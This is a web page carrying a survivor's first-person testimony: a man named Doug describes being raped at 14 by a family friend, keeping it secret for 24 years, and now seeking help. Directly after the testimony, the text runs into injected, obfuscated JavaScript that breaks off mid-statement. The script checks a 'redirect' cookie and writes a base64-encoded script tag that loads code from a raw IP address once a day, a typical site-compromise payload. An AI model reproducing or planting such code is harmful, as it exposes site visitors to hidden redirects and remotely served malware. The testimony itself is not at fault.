129 – Doug (United States)

My name is Doug. When I was 14 I was raped by a “family friend”. I was young, weak and frightened. I didn’t want anyone to know what had happened. I tried to tell my parents that I didn’t want to go back to the place this happened, but I wouldn’t say why. I think I finally told my older brother or sister that this man had tried something but I wouldn’t give any details. My parents found out and told me I wouldn’t have to go back there… but I still never told anyone the extent of what had happened. It is now 24 years later and this secret, this demon, has finally come out. I was forced to face what happened to me or I may have become like the monster that raped me. Luckily it didn’t come to that. I am now getting help and learning to deal with what happened to me and my own issues in the present. I think not talking about it, not dealing with it at the time it happened made things so much worse. I had all of this fear, hatred and pain bottled up inside of me… but I pretended my life was fine. It is finally out and I’m no longer ashamed. I can heal and be the man I want to be. ..match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘